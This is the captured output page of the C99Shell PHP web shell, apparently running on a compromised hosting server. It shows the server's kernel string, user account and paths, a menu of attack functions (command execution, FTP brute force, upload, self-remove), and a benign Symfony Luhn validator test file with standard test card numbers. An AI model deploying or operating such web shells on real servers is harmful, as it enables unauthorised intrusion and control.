!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Validator/Symfony/Component/Validator/Tests/Constraints/   drwxr-xr-x
Free 291.02 GB of 429.69 GB (67.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LuhnValidatorTest.php (3.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Validator\Tests\Constraints;

use 
Symfony\Component\Validator\Constraints\Luhn;
use 
Symfony\Component\Validator\Constraints\LuhnValidator;

class 
LuhnValidatorTest extends \PHPUnit_Framework_TestCase
{
    protected 
$context;
    protected 
$validator;

    protected function 
setUp()
    {
        
$this->context $this->getMock('Symfony\Component\Validator\ExecutionContext', array(), array(), ''false);
        
$this->validator = new LuhnValidator();
        
$this->validator->initialize($this->context);
    }

    protected function 
tearDown()
    {
        
$this->context null;
        
$this->validator null;
    }

    public function 
testNullIsValid()
    {
        
$this->context->expects($this->never())
            ->
method('addViolation');

        
$this->validator->validate(null, new Luhn());
    }

    public function 
testEmptyStringIsValid()
    {
        
$this->context->expects($this->never())
            ->
method('addViolation');

        
$this->validator->validate('', new Luhn());
    }

    
/**
     * @dataProvider getValidNumbers
     */
    
public function testValidNumbers($number)
    {
        
$this->context->expects($this->never())
            ->
method('addViolation');

        
$this->validator->validate($number, new Luhn());
    }

    public function 
getValidNumbers()
    {
        return array(
            array(
'42424242424242424242'),
            array(
'378282246310005'),
            array(
'371449635398431'),
            array(
'378734493671000'),
            array(
'5610591081018250'),
            array(
'30569309025904'),
            array(
'38520000023237'),
            array(
'6011111111111117'),
            array(
'6011000990139424'),
            array(
'3530111333300000'),
            array(
'3566002020360505'),
            array(
'5555555555554444'),
            array(
'5105105105105100'),
            array(
'4111111111111111'),
            array(
'4012888888881881'),
            array(
'4222222222222'),
            array(
'5019717010103742'),
            array(
'6331101999990016'),
        );
    }

    
/**
     * @dataProvider getInvalidNumbers
     */
    
public function testInvalidNumbers($number)
    {
        
$constraint = new Luhn();

        
$this->context->expects($this->once())
            ->
method('addViolation')
            ->
with($constraint->message);

        
$this->validator->validate($number$constraint);
    }

    public function 
getInvalidNumbers()
    {
        return array(
            array(
'1234567812345678'),
            array(
'4222222222222222'),
            array(
'0000000000000000'),
        );
    }

    
/**
     * @expectedException \Symfony\Component\Validator\Exception\UnexpectedTypeException
     * @dataProvider getInvalidTypes
     */
    
public function testInvalidTypes($number)
    {
        
$constraint = new Luhn();

        
$this->validator->validate($number$constraint);
    }

    public function 
getInvalidTypes()
    {
        return array(
            array(
0),
            array(
123),
            array(
42424242424242424242),
            array(
378282246310005),
            array(
371449635398431),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0043 ]--